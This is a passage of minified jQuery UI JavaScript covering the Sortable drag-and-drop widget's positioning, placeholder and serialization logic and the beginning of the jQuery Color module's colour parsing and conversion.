e>=t&&t+i>e},_isFloating:function(e){return/left|right/.test(e.css("float"))||/inline|table-cell/.test(e.css("display"))},_create:function(){this.containerCache={},this.element.addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(e,t){this._super(e,t),"handle"===e&&this._setHandleClassName()},_setHandleClassName:function(){this.element.find(".ui-sortable-handle").removeClass("ui-sortable-handle"),e.each(this.items,function(){(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item).addClass("ui-sortable-handle")})},_destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").find(".ui-sortable-handle").removeClass("ui-sortable-handle"),this._mouseDestroy();for(var e=this.items.length-1;e>=0;e--)this.items[e].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,i){var s=null,n=!1,a=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(t),e(t.target).parents().each(function(){return e.data(this,a.widgetName+"-item")===a?(s=e(this),!1):void 0}),e.data(t.target,a.widgetName+"-item")===a&&(s=e(t.target)),s?!this.options.handle||i||(e(this.options.handle,s).find("*").addBack().each(function(){this===t.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(t,i,s){var n,a,o=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},e.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,o.cursorAt&&this._adjustOffsetFromHelper(o.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),o.containment&&this._setContainment(),o.cursor&&"auto"!==o.cursor&&(a=this.document.find("body"),this.storedCursor=a.css("cursor"),a.css("cursor",o.cursor),this.storedStylesheet=e("<style>*{ cursor: "+o.cursor+" !important; }</style>").appendTo(a)),o.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",o.opacity)),o.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",o.zIndex)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger("activate",t,this._uiHash(this));return e.ui.ddmanager&&(e.ui.ddmanager.current=this),e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this.helper.addClass("ui-sortable-helper"),this._mouseDrag(t),!0},_mouseDrag:function(t){var i,s,n,a,o=this.options,r=!1;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<o.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+o.scrollSpeed:t.pageY-this.overflowOffset.top<o.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-o.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<o.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+o.scrollSpeed:t.pageX-this.overflowOffset.left<o.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-o.scrollSpeed)):(t.pageY-this.document.scrollTop()<o.scrollSensitivity?r=this.document.scrollTop(this.document.scrollTop()-o.scrollSpeed):this.window.height()-(t.pageY-this.document.scrollTop())<o.scrollSensitivity&&(r=this.document.scrollTop(this.document.scrollTop()+o.scrollSpeed)),t.pageX-this.document.scrollLeft()<o.scrollSensitivity?r=this.document.scrollLeft(this.document.scrollLeft()-o.scrollSpeed):this.window.width()-(t.pageX-this.document.scrollLeft())<o.scrollSensitivity&&(r=this.document.scrollLeft(this.document.scrollLeft()+o.scrollSpeed))),r!==!1&&e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],a=this._intersectsWithPointer(s),a&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===a?"next":"prev"]()[0]!==n&&!e.contains(this.placeholder[0],n)&&("semi-dynamic"===this.options.type?!e.contains(this.element[0],n):!0)){if(this.direction=1===a?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;this._rearrange(t,s),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,i){if(t){if(e.ui.ddmanager&&!this.options.dropBehaviour&&e.ui.ddmanager.drop(this,t),this.options.revert){var s=this,n=this.placeholder.offset(),a=this.options.axis,o={};a&&"x"!==a||(o.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),a&&"y"!==a||(o.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,e(this.helper).animate(o,parseInt(this.options.revert,10)||500,function(){s._clear(t)})}else this._clear(t,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp({target:null}),"original"===this.options.helper?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var t=this.containers.length-1;t>=0;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),e.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?e(this.domPosition.prev).after(this.currentItem):e(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},e(i).each(function(){var i=(e(t.item||this).attr(t.attribute||"id")||"").match(t.expression||/(.+)[\-=_](.+)/);i&&s.push((t.key||i[1]+"[]")+"="+(t.key&&t.expression?i[1]:i[2]))}),!s.length&&t.key&&s.push(t.key+"="),s.join("&")},toArray:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},i.each(function(){s.push(e(t.item||this).attr(t.attribute||"id")||"")}),s},_intersectsWith:function(e){var t=this.positionAbs.left,i=t+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,a=e.left,o=a+e.width,r=e.top,h=r+e.height,l=this.offset.click.top,u=this.offset.click.left,d="x"===this.options.axis||s+l>r&&h>s+l,c="y"===this.options.axis||t+u>a&&o>t+u,p=d&&c;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>e[this.floating?"width":"height"]?p:t+this.helperProportions.width/2>a&&o>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>n-this.helperProportions.height/2},_intersectsWithPointer:function(e){var t="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top,e.height),i="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left,e.width),s=t&&i,n=this._getDragVerticalDirection(),a=this._getDragHorizontalDirection();return s?this.floating?a&&"right"===a||"down"===n?2:1:n&&("down"===n?2:1):!1},_intersectsWithSides:function(e){var t=this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top+e.height/2,e.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left+e.width/2,e.width),s=this._getDragVerticalDirection(),n=this._getDragHorizontalDirection();return this.floating&&n?"right"===n&&i||"left"===n&&!i:s&&("down"===s&&t||"up"===s&&!t)},_getDragVerticalDirection:function(){var e=this.positionAbs.top-this.lastPositionAbs.top;return 0!==e&&(e>0?"down":"up")},_getDragHorizontalDirection:function(){var e=this.positionAbs.left-this.lastPositionAbs.left;return 0!==e&&(e>0?"right":"left")},refresh:function(e){return this._refreshItems(e),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var e=this.options;return e.connectWith.constructor===String?[e.connectWith]:e.connectWith},_getItemsAsjQuery:function(t){function i(){r.push(this)}var s,n,a,o,r=[],h=[],l=this._connectWith();if(l&&t)for(s=l.length-1;s>=0;s--)for(a=e(l[s],this.document[0]),n=a.length-1;n>=0;n--)o=e.data(a[n],this.widgetFullName),o&&o!==this&&!o.options.disabled&&h.push([e.isFunction(o.options.items)?o.options.items.call(o.element):e(o.options.items,o.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),o]);for(h.push([e.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):e(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),s=h.length-1;s>=0;s--)h[s][0].each(i);return e(r)},_removeCurrentsFromItems:function(){var t=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=e.grep(this.items,function(e){for(var i=0;t.length>i;i++)if(t[i]===e.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var i,s,n,a,o,r,h,l,u=this.items,d=[[e.isFunction(this.options.items)?this.options.items.call(this.element[0],t,{item:this.currentItem}):e(this.options.items,this.element),this]],c=this._connectWith();if(c&&this.ready)for(i=c.length-1;i>=0;i--)for(n=e(c[i],this.document[0]),s=n.length-1;s>=0;s--)a=e.data(n[s],this.widgetFullName),a&&a!==this&&!a.options.disabled&&(d.push([e.isFunction(a.options.items)?a.options.items.call(a.element[0],t,{item:this.currentItem}):e(a.options.items,a.element),a]),this.containers.push(a));for(i=d.length-1;i>=0;i--)for(o=d[i][1],r=d[i][0],s=0,l=r.length;l>s;s++)h=e(r[s]),h.data(this.widgetName+"-item",o),u.push({item:h,instance:o,width:0,height:0,left:0,top:0})},refreshPositions:function(t){this.floating=this.items.length?"x"===this.options.axis||this._isFloating(this.items[0].item):!1,this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,a;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?e(this.options.toleranceElement,s.item):s.item,t||(s.width=n.outerWidth(),s.height=n.outerHeight()),a=n.offset(),s.left=a.left,s.top=a.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)a=this.containers[i].element.offset(),this.containers[i].containerCache.left=a.left,this.containers[i].containerCache.top=a.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(t){t=t||this;var i,s=t.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=t.currentItem[0].nodeName.toLowerCase(),n=e("<"+s+">",t.document[0]).addClass(i||t.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper");return"tbody"===s?t._createTrPlaceholder(t.currentItem.find("tr").eq(0),e("<tr>",t.document[0]).appendTo(n)):"tr"===s?t._createTrPlaceholder(t.currentItem,n):"img"===s&&n.attr("src",t.currentItem.attr("src")),i||n.css("visibility","hidden"),n},update:function(e,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(t.currentItem.innerHeight()-parseInt(t.currentItem.css("paddingTop")||0,10)-parseInt(t.currentItem.css("paddingBottom")||0,10)),n.width()||n.width(t.currentItem.innerWidth()-parseInt(t.currentItem.css("paddingLeft")||0,10)-parseInt(t.currentItem.css("paddingRight")||0,10)))}}),t.placeholder=e(s.placeholder.element.call(t.element,t.currentItem)),t.currentItem.after(t.placeholder),s.placeholder.update(t,t.placeholder)},_createTrPlaceholder:function(t,i){var s=this;t.children().each(function(){e("<td>&#160;</td>",s.document[0]).attr("colspan",e(this).attr("colspan")||1).appendTo(i)})},_contactContainers:function(t){var i,s,n,a,o,r,h,l,u,d,c=null,p=null;for(i=this.containers.length-1;i>=0;i--)if(!e.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(c&&e.contains(this.containers[i].element[0],c.element[0]))continue;c=this.containers[i],p=i}else this.containers[i].containerCache.over&&(this.containers[i]._trigger("out",t,this._uiHash(this)),this.containers[i].containerCache.over=0);if(c)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(n=1e4,a=null,u=c.floating||this._isFloating(this.currentItem),o=u?"left":"top",r=u?"width":"height",d=u?"clientX":"clientY",s=this.items.length-1;s>=0;s--)e.contains(this.containers[p].element[0],this.items[s].item[0])&&this.items[s].item[0]!==this.currentItem[0]&&(h=this.items[s].item.offset()[o],l=!1,t[d]-h>this.items[s][r]/2&&(l=!0),n>Math.abs(t[d]-h)&&(n=Math.abs(t[d]-h),a=this.items[s],this.direction=l?"up":"down"));if(!a&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[p])return this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1),void 0;a?this._rearrange(t,a,null,!0):this._rearrange(t,null,this.containers[p].element,!0),this._trigger("change",t,this._uiHash()),this.containers[p]._trigger("change",t,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1}},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper)?e(i.helper.apply(this.element[0],[t,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||e("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie)&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var e=this.currentItem.position();return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),("document"===n.containment||"window"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===n.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===n.containment?this.document.width():this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(t=e(n.containment)[0],i=e(n.containment).offset(),s="hidden"!==e(t).css("overflow"),this.containment=[i.left+(parseInt(e(t).css("borderLeftWidth"),10)||0)+(parseInt(e(t).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(e(t).css("borderTopWidth"),10)||0)+(parseInt(e(t).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(e(t).css("borderLeftWidth"),10)||0)-(parseInt(e(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(e(t).css("borderTopWidth"),10)||0)-(parseInt(e(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,i){i||(i=this.position);var s="absolute"===t?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,a=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():a?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():a?0:n.scrollLeft())*s}},_generatePosition:function(t){var i,s,n=this.options,a=t.pageX,o=t.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(a=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(o=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(a=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(o=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((o-this.originalPageY)/n.grid[1])*n.grid[1],o=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((a-this.originalPageX)/n.grid[0])*n.grid[0],a=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:o-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:a-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(e,t,i,s){i?i[0].appendChild(this.placeholder[0]):t.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?t.item[0]:t.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(e,t){function i(e,t,i){return function(s){i._trigger(e,s,t._uiHash(t))}}this.reverting=!1;var s,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)("auto"===this._storedCSS[s]||"static"===this._storedCSS[s])&&(this._storedCSS[s]="");this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!t&&n.push(function(e){this._trigger("receive",e,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||t||n.push(function(e){this._trigger("update",e,this._uiHash())}),this!==this.currentContainer&&(t||(n.push(function(e){this._trigger("remove",e,this._uiHash())}),n.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)t||n.push(i("deactivate",this,this.containers[s])),this.containers[s].containerCache.over&&(n.push(i("out",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,t||this._trigger("beforeStop",e,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!t){for(s=0;n.length>s;s++)n[s].call(this,e);this._trigger("stop",e,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){e.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(t){var i=t||this;return{helper:i.helper,placeholder:i.placeholder||e([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:t?t.element:null}}});var o="ui-effects-",r=e;e.effects={effect:{}},function(e,t){function i(e,t,i){var s=d[t.type]||{};return null==e?i||!t.def?null:t.def:(e=s.floor?~~e:parseFloat(e),isNaN(e)?t.def:s.mod?(e+s.mod)%s.mod:0>e?0:e>s.max?s.max:e)}function s(i){var s=l(),n=s._rgba=[];return i=i.toLowerCase(),f(h,function(e,a){var o,r=a.re.exec(i),h=r&&a.parse(r),l=a.space||"rgba";return h?(o=s[l](h),s[u[l].cache]=o[u[l].cache],n=s._rgba=o._rgba,!1):t}),n.length?("0,0,0,0"===n.join()&&e.extend(n,a.transparent),s):a[i]}function n(e,t,i){return i=(i+1)%1,1>6*i?e+6*(t-e)*i:1>2*i?t:2>3*i?e+6*(t-e)*(2/3-i):e}var a,o="backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",r=/^([\-+])=\s*(\d+\.?\d*)/,h=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(e){return[e[1],e[2],e[3],e[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(e){return[2.55*e[1],2.55*e[2],2.55*e[3],e[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,parse:function(e){return[parseInt(e[1],16),parseInt(e[2],16),parseInt(e[3],16)]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])/,parse:function(e){return[parseInt(e[1]+e[1],16),parseInt(e[2]+e[2],16),parseInt(e[3]+e[3],16)]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(e){return[e[1],e[2]/100,e[3]/100,e[4]]}}],l=e.Color=function(t,i,s,n){return new e.Color.fn.parse(t,i,s,n)},u={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},d={"byte":{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},c=l.support={},p=e("<p>")[0],f=e.each;p.style.cssText="background-color:rgba(1,1,1,.5)",c.rgba=p.style.backgroundColor.indexOf("rgba")>-1,f(u,function(e,t){t.cache="_"+e,t.props.alpha={idx:3,type:"percent",def:1}}),l.fn=e.extend(l.prototype,{parse:function(n,o,r,h){if(n===t)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=e(n).css(o),o=t);var d=this,c=e.type(n),p=this._rgba=[];return o!==t&&(n=[n,o,r,h],c="array"),"string"===c?this.parse(s(n)||a._default):"array"===c?(f(u.rgba.props,function(e,t){p[t.idx]=i(n[t.idx],t)}),this):"object"===c?(n instanceof l?f(u,function(e,t){n[t.cache]&&(d[t.cache]=n[t.cache].slice())}):f(u,function(t,s){var a=s.cache;f(s.props,function(e,t){if(!d[a]&&s.to){if("alpha"===e||null==n[e])return;d[a]=s.to(d._rgba)}d[a][t.idx]=i(n[e],t,!0)}),d[a]&&0>e.inArray(null,d[a].slice(0,3))&&(d[a][3]=1,s.from&&(d._rgba=s.from(d[a])))}),this):t},is:function(e){var i=l(e),s=!0,n=this;return f(u,function(e,a){var o,r=i[a.cache];return r&&(o=n[a.cache]||a.to&&a.to(n._rgba)||[],f(a.props,function(e,i){return null!=r[i.idx]?s=r[i.idx]===o[i.idx]:t})),s}),s},_space:function(){var e=[],t=this;return f(u,function(i,s){t[s.cache]&&e.push(i)}),e.pop()},transition:function(e,t){var s=l(e),n=s._space(),a=u[n],o=0===this.alpha()?l("transparent"):this,r=o[a.cache]||a.to(o._rgba),h=r.slice();return s=s[a.cache],f(a.props,function(e,n){var a=n.idx,o=r[a],l=s[a],u=d[n.type]||{};null!==l&&(null===o?h[a]=l:(u.mod&&(l-o>u.mod/2?o+=u.mod:o-l>u.mod/2&&(o-=u.mod)),h[a]=i((l-o)*t+o,n)))}),this[n](h)},blend:function(t){if(1===this._rgba[3])return this;var i=this._rgba.slice(),s=i.pop(),n=l(t)._rgba;return l(e.map(i,function(e,t){return(1-s)*n[t]+s*e}))},toRgbaString:function(){var t="rgba(",i=e.map(this._rgba,function(e,t){return null==e?t>2?1:0:e});return 1===i[3]&&(i.pop(),t="rgb("),t+i.join()+")"},toHslaString:function(){var t="hsla(",i=e.map(this.hsla(),function(e,t){return null==e&&(e=t>2?1:0),t&&3>t&&(e=Math.round(100*e)+"%"),e});return 1===i[3]&&(i.pop(),t="hsl("),t+i.join()+")"},toHexString:function(t){var i=this._rgba.slice(),s=i.pop();return t&&i.push(~~(255*s)),"#"+e.map(i,function(e){return e=(e||0).toString(16),1===e.length?"0"+e:e}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}}),l.fn.parse.prototype=l.fn,u.hsla.to=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var t,i,s=e[0]/255,n=e[1]/255,a=e[2]/255,o=e[3],r=Math.max(s,n,a),h=Math.min(s,n,a),l=r-h,u=r+h,d=.5*u;return t=h===r?0:s===r?60*(n-a)/l+360:n===r?60*(a-s)/l+120:60*(s-n)/l+240,i=0===l?0:.5>=d?l/u:l/(2-u),[Math.round(t)%360,i,d,null==o?1:o]},u.hsla.from=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var t=e[0]/360,i=e[1],s=e[2],a=e[3],o=.5>=s?s*(1+i):s+i-s*i,r=2*s-o;return[Math.round(255*n(r,o,t+1/3)),Math.round(255*n(r,o,t)),Math.round(255*n(r,o,t-1/3)),a]},f(u,function(s,n){var a=n.props,o=n.cache,h=n.to,u=n.from;l.fn[s]=function(s){if(h&&!this[o]&&(this[o]=h(this._rgba)),s===t)return this[o].slice();var n,r=e.type(s),d="array"===r||"object"===r?s:arguments,c=this[o].slice();return f(a,function(e,t){var s=d["object"===r?e:t.idx];null==s&&(s=c[t.idx]),c[t.idx]=i(s,t)}),u?(n=l(u(c)),n[o]=c,n):l(c)},f(a,function(t,i){l.fn[t]||(l.fn[t]=function(n){var a,o=e.type(n),h="alpha"===t?this._hsla?"hsla":"rgba":s,l=this[h](),u=l[i.idx];return"undefined"===o?u:("function"===o&&(n=n.call(this,u),o=e.type(n)),null==n&&i.empty?this:("string"===o&&(a=r.exec(n),a&&(n=u+parseFloat(a[2])*("+"===a[1]?1:-1))),l[i.idx]=n,this[h](l)))})})}),l.hook=function(t){var i=t.split(" ");f(i,function(t,i){e.cssHooks[i]={set:function(t,n){var 